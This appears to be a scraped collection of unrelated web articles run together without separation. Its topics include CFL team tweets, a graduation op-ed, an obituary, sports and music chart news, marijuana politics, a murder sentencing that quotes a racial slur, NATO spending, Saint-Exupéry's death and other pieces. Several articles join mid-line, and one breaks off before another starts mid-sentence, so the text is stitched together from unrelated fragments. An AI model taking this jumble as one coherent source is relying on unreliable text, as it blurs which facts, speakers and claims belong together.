Here are a few of the best.
The Edmonton Eskimos got in on the action too.
<a href="https://twitter.com/TorontoArgos">@TorontoArgos</a> <a href="https://twitter.com/REDBLACKS">@REDBLACKS</a> <a href="https://twitter.com/AllKindsOfClay">@AllKindsOfClay</a> The side affects of drinking Pilsner <a href="https://twitter.com/hashtag/MemeWarMonday?src=hash">#MemeWarMonday</a> <a href="http://t.co/gtwcOo4wWG">pic.twitter.com/gtwcOo4wWG</a> —@EdmontonEsks
.<a href="https://twitter.com/REDBLACKS">@REDBLACKS</a> Macaulay Culkin has some words for you! <a href="https://twitter.com/Home_Alone_Kev">@Home_Alone_Kev</a> <a href="https://twitter.com/hashtag/MemeWarMonday?src=hash">#MemeWarMonday</a> <a href="http://t.co/AhtgCSa9JT">pic.twitter.com/AhtgCSa9JT</a> —@TorontoArgos
.<a href="https://twitter.com/TorontoArgos">@TorontoArgos</a> Alright, one last one. <a href="https://twitter.com/hashtag/MemeWarMonday?src=hash">#MemeWarMonday</a> <a href="http://t.co/UVDp5FoZlw">pic.twitter.com/UVDp5FoZlw</a> —@REDBLACKS
.<a href="https://twitter.com/TorontoArgos">@TorontoArgos</a> Can't seem to get rid of you guys...<a href="https://twitter.com/hashtag/MemeWarMonday?src=hash">#MemeWarMonday</a> <a href="http://t.co/ufE5uX3RVN">pic.twitter.com/ufE5uX3RVN</a> —@REDBLACKS
To see more search #MemeWarMonday on Twitter, there are plenty to check out.Katie Coombs (Photo: DOW)
Congratulations to all of you as you finish your high school career and prepare for the next step in your life. Hopefully, you are stepping -- either stepping out the door to go work and find a place of your own or going on to some type of higher education so that you can feed yourself and your family someday.
The generation before you has relied heavily on their parents to take care of them, and many of them still live at home at 25 or 30 years old. No matter how you were raised, you need to accept the fact that Mom and Dad won’t be there to fund your every meal.
This has been a tricky time to grow up. Since you were about 8 years old, a little company called Apple began producing phones that put the internet in your hands and completely changed the way you communicate with your friends and even your parents. You need to know that if you really want to succeed in life, you are going to have to learn to communicate looking people in the eye. You can’t text an employer your answers in the middle of an interview and you can’t dance with your partner over the phone.
An image from a 2015 graduation ceremony. (Photo: Andy Barron/RGJ file)
I suggest you take every class you can and even read books on communication to help you overcome what this technology has done to you.
The whole time you have been on this planet, you have been handed trophies and ribbons for every sport you participated in. We have not helped you at all by doing this. You will not get awards ever again without earning them the hard way, and this may seem unfair to you when you look at your dresser that is right now covered in bobble-head trophies.
Those trophies were handed to you just because your parents signed you up. The rest of your life, you will have to achieve certain goals and criteria to be awarded. Like it or not, that’s the way it is and you would do your own future children lots of good if you work to eliminate this trophy practice.
You have seen things on the internet that were way too mature for your eyes and try not to let this scar your future relationships. Whether you are male or female, you have to treat people with respect in order to get that third or second date. Don’t be afraid to hold a door open for a woman, young men. If she gets offended, she just might not be the right one for you. Chivalry is an important part of finding the right partner and don’t let our current society talk you out of it. Your table manners really matter. Practice them right now if you haven’t before and learn how to set a table and when to use a salad fork. There will always be something very attractive about well-mannered people.
You have been unfairly judged by test scores more than any generation before you. Your success will be directly correlated to how hard you work and well you treat the people you work with. Yes, you will need to read or write, but don’t think that your Map Testing scores from 6th grade are going to ever play a role in your future. They aren’t. You will now be placed according to your common sense, work ethic, and overall personality instead of some number on paper. The faster you figure this out the more likely you are to succeed.
Although adults have told you how amazing you are your entire life, the faster you accept that you are just like everyone else, the better things will go for you. You can prevent tremendous amounts of future anxiety and social blunders if you treat everyone equally and also don’t expect the world to bow down to your amazing self. You are just a person with strengths and weaknesses like everyone else. Nobody owes you anything and you do not deserve a certain lifestyle or car or house. You will have to work hard for those things no matter how amazing you think you are.
If your overbearing parents try to step in and tell your future employers or college professors how to treat you, do everyone a favor and say no the first time it comes up. Your parents may have unfortunately been such good friends with you for so long that they can’t stand to see you suffer. It’s OK if you suffer a little bit and it’s OK to tell your parents that you are an adult and you don’t need their intervention. The faster you become independent from them, the better you will feel about yourself. You should still call your parents (not text) and say hello and I love you from time to time. They worked hard to get you this far.
Finally, to those really smart graduates who didn’t enjoy high school because they weren’t in the “cool” crowd, I have excellent news for you. Those people that thought they were better than you and even made you feel small are about to start the journey to their 10-year high school reunion. When they arrive, they are going to look a little weathered and you are going to look sharp.
You “nerds” as they called you, will be the future doctors, lawyers, scientists and accountants who will make this world go around. The “proud” crowd will be working for you and high school was the time they peaked in life. You don’t want to peak at 18. Shoot for 40 or even 50! Your hard work and studying will pay off in a way that will have made all those awkward years of high school well worth it. Plus, you are the ones who gave the graduation speeches and ran off with all of the scholarship money.
Good luck to all of you. You have a little bit to overcome from the things that existed when you were born, but it can be done. I’m counting on you as there are too many baby boomers to take care of and we are going to need your help.
Katie Coombs is the host of the radio show “Uncommon Sense with Katie Coombs.” You can reach her on Facebook at www.facebook.com/UncommonSenseKC/.
Read or Share this story: https://www.rgj.com/story/life/2017/05/19/coombs-hey-class-2017-get-over-yourself-and-other-good-advice/333141001/Anna Dewdney, whose “Llama Llama” read-aloud picture books amused and comforted millions of preschool children, died on Saturday at her home in Lower Bartonsville, Vt. She was 50.
The cause was brain cancer, her sister the anthropologist T. M. Luhrmann said.
Ms. Dewdney, whom the children’s-book journal The Horn Book once called a “rock star to preschoolers,” introduced her most famous character in “Llama Llama Red Pajama.” Published in 2005, it told the rhyming story of a baby-boy llama upset when his mother delays bringing a nighttime glass of water. Mama eventually turns up and the crisis is averted. Baby llama learns that Mama will always be nearby.
Parents and children loved the book. “Dewdney gives a wonderfully fresh twist to a familiar nighttime ritual,” Booklist wrote.
Booksellers loved it, too. The title flew off the shelves, as did its nearly 20 successors, which sold more than 10 million copies. Netflix plans to offer an animated version of the books next year.FRISCO, Texas – The depth of the FC Dallas back four, a question mark entering the 2015 season, has been put to the test this year.
The usual starting center back tandem of Matt Hedges and Zach Loyd have suffered their share of injuries, with both players missing the team’s 2-1 win over the LA Galaxy two weeks ago.
One defender in particular, 2013 SuperDraft first-rounder Walker Zimmerman, has risen to the occasion during their absences, appearing in eight games and starting four for the Supporters’ Shield co-leaders.
He even made a potentially game-saving stop during last Friday’s scoreless draw against the New York Red Bulls, sliding to intercept a Bradley Wright-Phillips pass that would’ve put Sacha Kljestan in on goal. It was a highlight of Zimmerman’s strong 90-minute outing, a performance that earned him a spot on the MLS Team of the Week.
Team of the Week: Zimmerman earns honor for strong outing vs. RBNY
While the slide against New York was critical, it’s the other, aerial element of the 6-foot-3 defender’s play that has drawn the most praise from teammates and coaches.
“His aerial game is amazing,” head coach Oscar Pareja said of Zimmerman. “He’s learning to be more disciplined to the concepts that we preach. I think his matureness is coming along also, [with] the way he reads the game.”
The stats back up Zimmerman, who turned 22 on Tuesday and is eligible for the 2016 US Olympic Team. The Georgia-native has won 20 out of his 27 aerial challenges, per Opta Sports, the tenth highest percentage in MLS of players with at least 20 aerials attempted.
“He wins a lot of balls everywhere,” Hedges told MLSSoccer.com. “Nobody is going to beat him, and that’s something good in a center back partner. Obviously you have to expect a mistake as a defender. You’ve got to try to cover. But I mean, you know he’s going to win basically every ball.”
It has not been an easy road for Zimmerman, to say the least. After being drafted seventh overall in the 2013 MLS SuperDraft, the Furman product has battled a series of hamstring and other injuries that have slowed down his development.
Due in part to those injuries, Zimmerman only appeared in just 17 games in his first two years in the league. He’s already nearly halfway to that total this year alone, appearing in eight games with a clean bill of health.
“Most importantly, we’ve had a player that has been healthy,” Pareja said. “We’ve had him at a regular basis and not in the nursery. So for me, that’s the biggest improvement that he’s made this year.”
Though he may not immediately return to the field this week with Loyd back in action, JeVaughn Watson's likely departure for international duty this summer with Jamaica could well open up a spot for him to once more star on the backline, should Loyd slide over to Watson's right back spot.
And while players like Zimmerman have a hard time finding the spotlight on a team with the likes of Fabian Castillo and Mauro Diaz, he’s still earned plenty of respect throughout the organization.
“They work quietly there,” Pareja said of Zimmerman and some of the team’s other under-the-radar players. “They don’t expect much attention of the people, but the importance of these players is recognized by their teammates. And that is even bigger than anything else.”The Trump family sure enjoyed their trip to Las Vegas for the final presidential debate. Rejected Voldemort prototype Eric Trump decided to take a day and enjoy the sights and sounds of Sin City.
But all that idle sitting while watching his father fuck with a microphone on Wednesday night sure helped Eric work up an appetite. So he headed to the In-N-Out near the strip and got to chowing down.
https://www.instagram.com/p/BLxaQ1AB2Qn/
Eric’s got the social media presence of a wet Valpack gathering mold in a mailbox, so his wife shared their little adventure. And so did a fan.
It’s unclear what the Trumps ordered, but it sure as hell looks like Eric stole some of In-N-Out’s signature lemonade like a conspicuous asshole. In-N-Out’s branding is unmistakeable, to the point that even CSI has mocked it up for its Vegas iteration. Hell, CSI has even namedropped In-N-Out. The only shit they’re serving in a clear plastic cup is good ol’ H2O.
cheap bastard — 🤢 (@_stonalisa) October 20, 2016
@JonBruner I'm sorry but for some reason I find ordering water but then getting lemonade the lowest of the low — Elise Hu (@elisewho) October 21, 2016
look, you don't get to be a BILLIONAIRE by SPENDING money on lemonade — Saint Töad SuperDööb (@sainttoad) October 20, 2016
@WesDorne In a society of my design, THIS would be the scandal that finally brought down Donald Trump. #Lemonadegate — Eric LaValle (@EricLaValle) October 21, 2016
We all know what you’re doing, Eric. Cheap bastardThe brain stem sits beneath your cerebrum in front of your cerebellum. It connects the brain to the spinal cord and controls automatic functions such as breathing, digestion, heart rate and blood pressure.
The cerebellum sits at the back of your head, under the cerebrum. It controls coordination and balance.
The cerebrum fills up most of your skull. It is involved in remembering, problem solving, thinking, and feeling. It also controls movement.
Your brain is your most powerful organ, yet weighs only about three pounds. It has a texture similar to firm jelly.
The whole vessel network includes veins and capillaries in addition to arteries.
With each heartbeat, arteries carry about 20 to 25 percent of your blood to your brain, where billions of cells use about 20 percent of the oxygen and fuel your blood carries.
Your brain is nourished by one of your body's richest networks of blood vessels. When you are thinking hard, your brain may use up to 50 percent of the fuel and oxygen.
Your brain's wrinkled surface is a specialized outer layer of the cerebrum called the cortex. Scientists have "mapped" the cortex by identifying areas strongly linked to certain functions.
Left Brain/Right Brain
Your brain is divided into right and left halves. Experts are not certain how the "left brain" and "right brain" may differ in function. In most people, the language area is chiefly on the left.Potheads and medicinal-marijuana users alike may be getting some coal in their pipes in the new year.
While President-elect Donald Trump promised to allow states to keep their vast array of marijuana laws if he were elected, he’s also tapped some of Washington’s biggest marijuana foes to serve in his Cabinet. If confirmed, they would have the power to enforce the federal marijuana prohibition that supersedes states’ legalization efforts.
This past spring, his pick to be the next attorney general, Sen. Jeff Sessions (R-AL), told Politico, “Good people don’t smoke marijuana.” Sessions alone could redirect the Drug Enforcement Administration to go after legal marijuana growers in states from Maine to Alaska.
Congressman Andy Harris (R-MD), who has waged his own personal war on drugs from the House floor, has been floated as a potential pick to run the National Institutes of Health. And Rep. Tom Price (R-GA), who has a long anti-marijuana voting record, has been tapped to lead the Department of Health and Human Services.
When asked by The Daily Beast at the Capitol if medical marijuana has any role in the nation’s health-care system, Price just smiled coyly, shook his head disapprovingly and walked away.
The silence was deafening, and pot advocates fear it’s a harbinger of things to come.
Still, Trump allies, just weeks out from taking the helm of the nation, argue it’s too soon to tell if the incoming administration will crack down on states’ legal marijuana efforts.
“People may be extrapolating that, but I think that’s getting the cart before the horse,” Rep. Chris Collins (R-NY) told The Daily Beast. “I would tell you right now the transition team is totally focused on personnel. Policies are not what’s really being discussed now.”
That policy vacuum, coupled with Trump’s picks to run agencies who oversee the nation’s disparate marijuana policies, are raising red flags on Capitol Hill, in grow rooms, and dispensaries across the nation, especially because Trump has proved himself malleable on most every campaign promise he’s made at his rallies or in his late night Twitter storms.
“That’s worrisome,” Rep. Jared Polis (D-CO) told The Daily Beast. “It’s true that his positions on a variety of issues fluctuate, so we are concerned for consumers and for the cannabis industry that the new attorney general could engage in some kind of mass enforcement effort.”
“We do want to hold President Trump to what he said during the campaign, which is that this is a matter for the states,” Polis continued. “That’s been contrary to Sen. Sessions’s previous position, but now that he works for president-elect Trump I’m hopeful that he will honor the promises that were made by Donald Trump during the campaign.”
In recent years, marijuana has become an issue that cuts across party lines, especially with the rise of the more states’ rights-oriented Tea Party, so the debate could pit Republicans against Republicans.
“Jeff Sessions is a very honorable man, he’s a man of integrity, but he’s also principled,” Rep. Dana Rohrabacher (R-CA) told The Daily Beast. “And what are his principles? Limited government, individual responsibility, how about the 10th Amendment and states’ rights?”
Rohrabacher said it would be a mistake for the incoming administration to go after states over pot policy.
“Absolutely. It’s a tremendous waste of resources, and No. 2 it is a violation of fundamental rules of liberty and justice,” Rohrabacher said. “People voted for that, and the states should have the right to make the determination. Our Constitution is very clear on that type of thing.”
With Trump about to be surrounded by some of the loudest anti-marijuana voices in Washington, there seems to be more haze in the air than just the billowing clouds from local residents’ legal bong hits.
“We’re entering into a period of uncertainty. Nobody really knows what’s going to happen,” Tom Angell, founder and chairman of the Marijuana Majority—a pot advocacy group, told The Daily Beast. “There does appear to be some conflict within the administration |
. Many Singaporeans are also reportedly spending a lot more money on premium pet foods and pet accessories.
“Many pet owners are increasingly treating their pets as household members and are therefore pampering their pets with luxurious food, products and services, just as they would dote on their famil[ies],” the report read.
“This trend led to a shift in consumer spending towards premium categories such as premium pet food, hence driving growth in the pet care market.”
If pet owners wish to give their pets love for the last time, they must be willing to spend about 50 Singaporean dollars (US$40.96), with a goods and services tax of seven percent on top of that (US$1 = 1.2208 Singaporean dollars).
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The CD is unveiled to the world in March 1979
History of the CD The first compact disc was produced exactly 25 years ago in a factory in Germany after years of development by Philips and Sony. We take a look at the humble disc's history and how it shaped the music landscape. The compact disc project was launched following Philips' failure with its video disc technology in 1978. The video disc was one of the first commercial products to take advantage of laser technology that could read information from a disc without any physical contact. Research into the video disc began as far back as 1969, and itself was inspired by Italian Antonio Rubbiani, who had demonstrated a rudimentary video disc system 12 years earlier. In 1970 Philips began work on what was called the ALP (audio long play) - an audio disc system to rival vinyl records, but using laser technology. Lou Ottens, technical director of the audio division at Philips, was the first to suggest that the ALP be made smaller than the dominant vinyl format and should aim for one hour of music. Sony and Philips announce their joint taskforce The project initially flirted with the idea of quadraphonic sound but a disc with one hour of music had to be 20cm in diameter and so the plan was abandoned. In 1977 Philips began to take the development of a new audio format much more seriously. A new name for the product was discussed and names considered included Mini Rack, MiniDisc, and Compact Rack. The team settled on Compact Disc because it was felt it would remind people of the success of the Compact Cassette. In March 1979 Philips conducted a press conference to show off the audio quality of its CD system in production and also to impress upon rivals how well it was progressing. Philips first CD player cost more than £1,000 in today's money A week later Philips travelled to Japan after the Japanese Ministry of Industry and Technology (MITI) had decided to convene a conference to discuss how the industry could create a standard for the audio disc. The company left Japan having agreed a deal with Sony. Philips' plan for a CD with a 11.5cm diameter had to be changed when Sony insisted that a disc must hold all of Beethoven's 9th Symphony. The longest recording of the symphony in record label Polygram's archive was 74 minutes and so the CD size was increased to 12cm diameter to accommodate the extra data. In 1980 Philips and Sony produced their Red Book, which laid down all the standards for compact discs. From that time on the companies worked separately on their own CD equipment but in the early days agreed to share components. In April 1982 Philips showed off a production CD player for the first time. "From now on, the conventional record player is obsolete," said Lou Ottens. The first commercial CDs pressed were The Visitors by Abba and a recording of Herbert von Karajan conducting the Alpine Symphony by Richard Strauss. US record labels were initially very sceptical about the CD. A year after launch there were 1,000 different titles available. In 1985 Dire Straits' Brothers In Arms became the first CD to sell more than one million copies. It is still the world's most successful CD album. In 2000 global sales of CD albums peaked at 2.455 billion. In 2006 that figure was down to 1.755 billion.
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StumbleUpon What are these?A prayer to end the California wildfires, for safety, for the victims, for healing and for renewal. Also, here’s a prayer to say “For Firefighters.”
The Land is Burning
God of mercy,
The land is burning,
Fires raging,
Devastation set loose upon the earth,
Upon the innocent and the righteous,
Your children,
Creation itself.
Source and Shelter,
Hold back the winds,
Bring forth the rains,
Even as the courageous battle the blazes,
Rescuing the frightened and trapped,
Even as victims flee and neighbors come to each other’s aid,
Even as we mourn the dead
And search for the missing.
God of compassion,
Bless the people of California with succor and relief.
Bless firefighters and police with endurance and strength.
Bless public safety, rescue and mental health professionals with stamina and resolve.
Bless the victims with resilience and renewal.
Let the inferno end
And healing begin.
© 2017 Alden Solovy and tobendlight.com. All rights reserved.
URJ Camp Newman, a Reform Jewish summer camp in Santa Rosa, CA, was a victim of the recent wildfires. If you would like to donate to the camp's relief and rebuilding fund, please visit www.campnewman.org/newmanstrong.17591
Clean Bandit bring home the most coveted chart accolade of the year – the Official Christmas Number 1 2016, with their huge chart smash Rockabye, the OfficialCharts.com can confirm.
The classical crossover trio have held off competition from Rag‘n’Bone Man, Little Mix and a raft of campaigns and charity singles with Rockabye, a song that first entered the chart nine weeks ago, before later climbing to the top spot to score an impressive seven-week reign at Number 1.
In that time Rockabye has become one of the year’s biggest hits across both downloads and streams, racking up 589,000 combined chart sales to date.
Watch members Grace Chatto and Jack Patterson celebrate with Official Charts below:
"To have been Number 1 for seven weeks is something amazing in its own right that we are all incredibly proud of, but to now be Christmas Number 1 is mind-blowing," they said. "It’s something we never imagined would happen with Rockabye when we were writing and recording it. Thanks to everyone who has made this happen! We hope you all have a Merry Christmas and New Year!"
The group also reveal in the video that they considered recording a Christmas version of the track, and, while Jack quipped that his mum has a theory Rockabye is in fact about Jesus.
Celebrating Clean Bandit's achievement, Ben Cook, President of the band's label Atlantic Records, said: "This is the most highly contested Number 1 chart position of the year and I’d like to congratulate Jack, Grace and Luke on achieving this incredible milestone and an impressive seven weeks at Number 1.
"Credit also goes to Anne-Marie and Sean Paul for amazing vocal performances and I’d like to thank the wider Atlantic and Warner Music teams who have worked hard to deliver the track so well here and abroad."
MORE: See the Official Christmas Top 100 in full
Clean Bandit join several other acts across history whose tracks were already in residence on the Official Chart throne before eventually clinching the Christmas Number 1. The likes of the Human League’s Don't You Want Me (1981), Whitney Houston's I Will Always Love You (1992), East 17's Stay Another Day (1994), and even Mr Blobby, who hit Number 1 in early December 1993, before being toppled by Take That’s Babe, only to then reclaim the top spot in time for Christmas.
Meanwhile, Clean Bandit have held off competition from breakthrough star and BRITS Critics Choice winner Rag ‘n’ Bone Man who finishes the race in second place with his track Human.
One Direction’s Louis Tomlinson and Steve Aoki slip down one place to Number 3 with Just Hold On, Little Mix new single Touch leaps 19 places this week to land at Number 4, while Zara Larsson’s I Would Like secures its first appearance inside the Top 10 at Number 6.
New entries and high climbers
This year’s race welcomed a host of new contenders battling for the Christmas Number 1 crown, many raising money for worthy causes.
Rangers football fans delivered the highest-charting ‘campaign’ this week, pushing Glad All Over by The Dave Clark Five back into the Official Chart in support of striker Joe Garner, following their 2-1 win over Hamilton last weekend. Glad All Over originally topped the Official Singles Chart back in 1963, toppling The Beatles’ I Wanna Hold Your Hand.
Inspiral Carpets fans helped the Manchester band’s 1994 hit Saturn 5 to its first chart appearance (48) in nearly 23 years, in tribute to drummer Craig Gill who sadly passed away last month. Read our interview with the campaigners here.
London Hospices Choir – a team of volunteers and staff from 18 hospices across London debut at Number 81 with their cover of Mike & The Mechanics’ The Living Years.
Yorkshire’s Everley Pregnant Brothers’ and their rework of Kings of Leon’s Sex On Fire, Chip Pan, debuts at (131), while You Can’t Always Get What You Want by Friends Of Jo Cox released in memory of the late politician who was tragically murdered earlier this year in Birstall, West Yorkshire ends the week at 136. Salford’s James ‘Shinny’ Davenport finishes at 252 with Christmas Number 1, and Hartlepool’s Liv ‘N’ G land at 280 with Our Superhero (A Christmas Wish).
Festive songs account for nearly one third of this week’s Official Singles Chart Top 100, with a whole host of seasonal classics jingling all the way into the Top 40, led by Mariah Carey’s All I Want For Christmas Is You (5), the song’s highest peak since 2007, The Pogues ft. Kirsty Maccoll’s Fairytale Of New York (15), Wham’s Last Christmas (16), Shakin’ Stevens’ Merry Christmas Everyone (22), Chris Rea’s Driving Home for Christmas (26), Wizzard’s I Wish It Could Be Christmas Everyday (27) and Band Aid’s Do They Know It’s Christmas (35). Festive songs account for Michael Buble’s It’s Beginning To Look A Lot Like Christmas hits a new peak of 38, and Slade’s Merry Christmas Everybody (39).“Goin jail. Think I killed sum1 (sic).”
A teenager has been jailed for a minimum of 19 years after stripping and beating a Chinese pensioner to death in Preston.
As reported by the Guardian, Nathan Richardson, 19, had taken a cocktail of drink and drugs at a New Year’s Eve house party. 67-year-old Wenqing Xu was out for a morning jog when he encountered the teenager.
Xu had been staying with his daughter, Diana, since last summer. The unprovoked attack left the pensioner from China with 28 areas of injuries to his head and neck and a laceration and bruising to his genital area.
Prosecutor Francis McEntee told Preston crown court that the motive remained a mystery.
Richardson was reportedly seen dragging the pensioner along the street but ran away after he was spotted by witnesses shortly before 8.30am. Xu weighed only 7st 12lb.
The Chinese father was found near Plungington community centre in Preston, badly beaten and wearing only a T-shirt that was pulled over his chest. He died in hospital the same morning.
Judge Mark Brown sentenced Richardson to life imprisonment, concluding that Xu had been in “the wrong place at the wrong time”.
He said, “The precise circumstances of the encounter are not clear but there is no doubt that you attacked him in a brutal, vicious and very cruel way.”
“He was subjected to a sustained and callous assault to his head and neck and I am satisfied he suffered additional degradation when you removed his lower clothing and dragged him along the street.”
“You were seen to be struggling with what was thought to be a roll of carpet, which you were pulling along the street. In fact it was Mr Xu.”
The judge said Richardson left his victim “dying in the gutter”.
After the attack, Richardson went to a house of a friend, Luke Jenkinson, on De Lacy Street. Richardson washed and changed his clothes.
Richardson then sent messages to his friends and family saying how he “kicked and stamped” on Xu’s head, describing how he pulled his trousers down and pulled him by his genitals.
Friends reportedly described him as laughing and “buzzing off it”.
The Sun reports that in a series of text messages to friends after the killing, Richardson said: “Goin jail. Think I killed sum1 (sic).”
“Fucked sum chink up. Bodied him. I think pure crime scene – his head’s gone,” he added.
Xu’s wife and daughter felt unable to complete a victim personal statement.
The judge said, “Such is the stress that this family have found it difficult to put into words the impact of his death upon them, but it is clear to me from Mrs Xu, as she is present in court and the distress written on her face, that the impact upon her and her daughter simply cannot be calculated.”
John Jones QC, representing Richardson, said he was “a young man with the most disadvantaged background and upbringing”. He added that Richardson was diagnosed with a personality disorder and learning difficulties.
Jones said, “He has pleaded guilty to the murder of an entirely innocent and respectable man. This has affected the defendant profoundly and he is sorry for what he has done.”
Jenkinson was also sentenced to two years and nine months in prison after admitting he assisted the offender.
DCI Gary Brooks, from Lancashire police, said: “In my 24 years with the police, I can honestly say I’ve never seen injuries as bad as those inflicted on Mr Xu.”
“When he left the house on the morning of 1 January he had no reason to believe he might not make it home.”
“His family, who have been left devastated by his death, had no reason to think it would be the last time they saw him alive.”M S Vidyanandan By
Express News Service
THIRUVANANTHAPURAM: A Wayanad-based farmer has written to Prime Minister Narendra Modi seeking his share from the promised black money hunt. K Chathu, a farmer hailing from Mananthavady, has urged the Prime Minister to deposit at least Rs 5 lakh in his account to help him survive the crop loss.
The 68-year-old was in news earlier for suing actor Mammootty for appearing in a ‘misleading’ advertisement.
K Chathu
In his letter, Chathu reminds the Prime Minister about his poll promise that black money stashed by Indians abroad would be brought back and Rs 15 lakh will be credited to each citizen’s account. “After three years in power, you have not realised the promise. Decreasing prices of agricultural products, rising prices of consumables, oil and cooking gas has added to the miseries of commonman. I humbly request you to take steps to keep your word by giving at least Rs 5 lakh,” Chathu said.
Chathu has given his Federal Bank account details for the PM to deposit the money.
Chathu told TNIE that his letter was not just aimed at Modi.
“Political parties seldom care for their poll promises. People should question them if they wish for a change in the system,” he said. Chathu said he was equally depressed by people’s indifference. “The entire population is suffering from the perils of demonetisation and GST. Surprisingly, there is not even a fitting protest. This indifference is explained as people’s approval by politicians like Modi” he said.
An ex-Naxalite and an active worker of ‘Porattam’, widely regarded as an extreme Left organisation, Chathu had earlier sued actor Mammootty, brand ambassador of a popular bath soap.
Chathu, in his petition with the consumer court had demanded Rs 50,000 as compensation as he did not become ‘fair’ as promised by Mammootty in the advertisement. The soap manufacturer later settled the case by paying Rs 30,000 in an out-of-court settlement.Gen Mattis, attending his first gathering of Nato defence ministers, said some alliance members had “looked away in denial", even as Europe has faced growing threats from Russia in the east and Islamic State militants in the south.
Nato asks all members to spend 2 per cent of their national income on defence, but only five of them do – America, Britain, Greece, Estonia and Poland. The alliance is largely reliant on America, which spends more than the other members combined. Germany spends only 1.2 per cent on defence, while Italy and Spain, two of Europe's larger economies, spend barely 1 per cent.
Gen Mattis, said: "Despite the threats from the east and south, we have failed to fill gaps in our Nato response force or to adapt," he added.
After the meeting, Sir Michael Fallon, the Defence Secretary, said: "the impatience of the American taxpayer is a reality".
He said Gen Mattis had told alliance members that US Congress would “not continue to tolerate unequal burden-sharing."
Jens Stoltenberg, Nato secretary general, denied Gen Mattis’ remarks were not “the US telling Europe to increase defense spending".
He said members in the collective defence alliance were "looking into each other's eyes and agreeing that we shall increase spending".
Gen Mattis’s warning came after a respected defence think tank said Britain’s defence spending had dipped just below the two per cent benchmark. The Ministry of Defence dismissed the report, saying the International Institute for Strategic Studies had got its sums wrong.In 2005, after enduring numerous bureaucratic delays, Mr. Vanrell and another diver, Lino von Gartzen, lifted the motor and shipped it to Munich for study by German experts. It turned out to be part of a series produced in early 1941 — the oldest sparkplug was from March 1941. It had been modified in 1943 with the addition of a Bosch fuel injection pump.
The researchers deduced it had powered a Messerschmitt fighter plane, part of a training unit stationed in southern France from 1942 to 1944. It had been flown by Prince Alexis von Bentheim und Steinfurt, a 22-year-old who was shot down by American planes in late 1943, on his first and last solo flight. The tale might have ended there, with the death of the prince and of the Little Prince’s author. Yet Mr. von Gartzen was not content. Consulting archives and with the help of the staff of the Jägerblatt, a magazine for Luftwaffe veterans, he tracked down veterans who had flown in Prince von Bentheim’s unit, the Jagdgruppe 200. He contacted hundreds of former pilots, most now in their 80s; hundreds more had already died.
Photo
Then in July 2006, he telephoned a former pilot in Wiesbaden, Horst Rippert, explaining that he sought information about Saint-Exupéry. Without hesitating, Mr. Rippert replied, “You can stop searching. I shot down Saint-Exupéry.”
Mr. Rippert, who will be 86 in May, worked as a television sports reporter after the war. It was only days after he had shot down a P-38 with French colors near Marseille that he learned of Saint-Exupéry’s disappearance.
He was convinced he had shot him down, though he confided his conviction only to a diary. In 2003, when he learned that Saint-Exupéry’s plane had been located, his suspicion was confirmed. But still, he said nothing publicly.
Over the years, the thought that he might have killed Saint-Exupéry had troubled Mr. Rippert. As a youth in the 1930s, he had idolized the aviator-turned-author and had devoured his books, beginning with “Southern Mail,” in 1929, an adventure tale written while Saint-Exupéry was flying the Casablanca to Dakar route.
Photo
When Mr. Rippert’s identity was finally made public in March, the storm of interview requests and efforts to contact him was such that he withdrew from sight. “The last days have been terrible, with phone calls and doorbells ringing all hours of the day and night,” said his wife, by telephone, before hanging up.
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Evidence to support Mr. Rippert’s claim is lacking because documents, like flight logs, were destroyed in the war. But Mr. Rippert described in detail to Mr. von Gartzen how in the summer of 1944 German radar had alerted his fighter squadron at Marignane, near Marseille, to a group of Allied reconnaissance planes over the Mediterranean. Mr. Rippert, who was then 22, found a P-38 with French colors and shot it down.
He described the odd, evasive loops flown by Saint-Exupéry, who at the time was 44, overweight and in pain from fractures sustained in numerous flying accidents. Several days later, when German radio intercepted American reports of a search for Saint-Exupéry, he suspected he might have shot down his idol. When Mr. Rippert told him of learning that Saint-Exupéry was missing, “he had tears in his eyes,” Mr. von Gartzen said.
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The lack of evidence, beyond circumstances, has prompted some to express mild disbelief, Mr. von Gartzen among them. “It’s beyond the normal principles of probability,” he said, adding: “It nonetheless remains a hypothesis that is well founded.”
In Paris, Saint-Exupéry’s grandnephew, Olivier d’Agay, who is a spokesman for the family, said that Mr. Rippert’s version of the events was credible. “All he said was that he hit and brought down a P-38 in that region on July 31 — he never said he shot down Saint-Exupéry,” Mr. d’Agay said. “Of course, he asked himself if it were true, though he kept it to himself.
“Rippert said he often felt desperate,” he said. “If he had known what he was doing, he never would have done it.”At 99 feet in length, the Boeing B-29 Superfortress was nearly 25 feet longer than the B-17, the long-range bomber it effectively replaced. See more flight pictures. m
The Boeing B-29 Superfortress was the biggest, most expensive gamble undertaken by the United States during World War II, exceeding even the fabled Manhattan (atomic bomb) Project in both of these categories.
Flight Image Gallery
Never before had so many new ideas been put together so rapidly in a single aircraft. The advances were startling and included the following: a huge new airframe that was a total departure from previous Boeing practice; new engines that had to go through a long and costly development process before they became even remotely reliable; new propellers that gave almost as much difficulty as the engines; a new pressurization system, larger than any previously attempted; a new high-lift, high-wing loading-wing design that promised range but at the cost of high landing speeds and tricky handling; a new and totally untried central fire control system; and many other less critical, but still untried, items.
" " Boeing B-29 Superfortresses were at the forefront of American air attacks on Japan. These raids were under the command of Maj. Gen. Curtis LeMay, and were completely devastating. By late spring of 1945, very little of Tokyo and other major Japanese cities remained intact. m
Further, the press of the war effort required that this amazing new airplane be built in a brand-new factory, staffed largely by untrained personnel, many of whom had never touched an airplane before.
The aircraft was also intended to be deployed from remote fields in China and from tiny Pacific islands, where fuel, supplies, and maintenance would be difficult to assemble. President Franklin Delano Roosevelt's pledge that the aircraft would go into action from Chinese bases by April 1944 placed an almost intolerable deadline on the program.
Finally, all of the money, intellectual effort, and priorities invested to create a nuclear weapon in the Manhattan Project would have been utterly wasted had the Boeing B-29 Superfortress failed, for it was the only aircraft capable of carrying and delivering the atomic bomb.
Read more about the Boeing B-29 Superfortress, and find specifications for this classic airplane, in the next section.
For more information on airplanes, check out:The common belief that married people are healthier than their single counterparts is not supported by the evidence a researcher has claimed.
Dutch sociologist Matthijs Kalmijn examined data from the Swiss Household Panel, a long-term survey of over 11,000 Swiss citizens. Over its 16 year run, participants were polled each year on their health and experiences of illness. They were also asked to describe how satisfied they felt with their lives in general.
Kalmijn looked for an observable link between marriage and health, an influence which should become more pronounced, he reasoned, the longer the participants were married. Instead he found the opposite: a slight decline in people’s health after marriage, and a continuing, slow but steady decline over time in line with the natural influence of ageing.
Marriage, concluded the sociologist, has no statistically significant influence on health at all and married people are no more or less likely to become ill than single people.
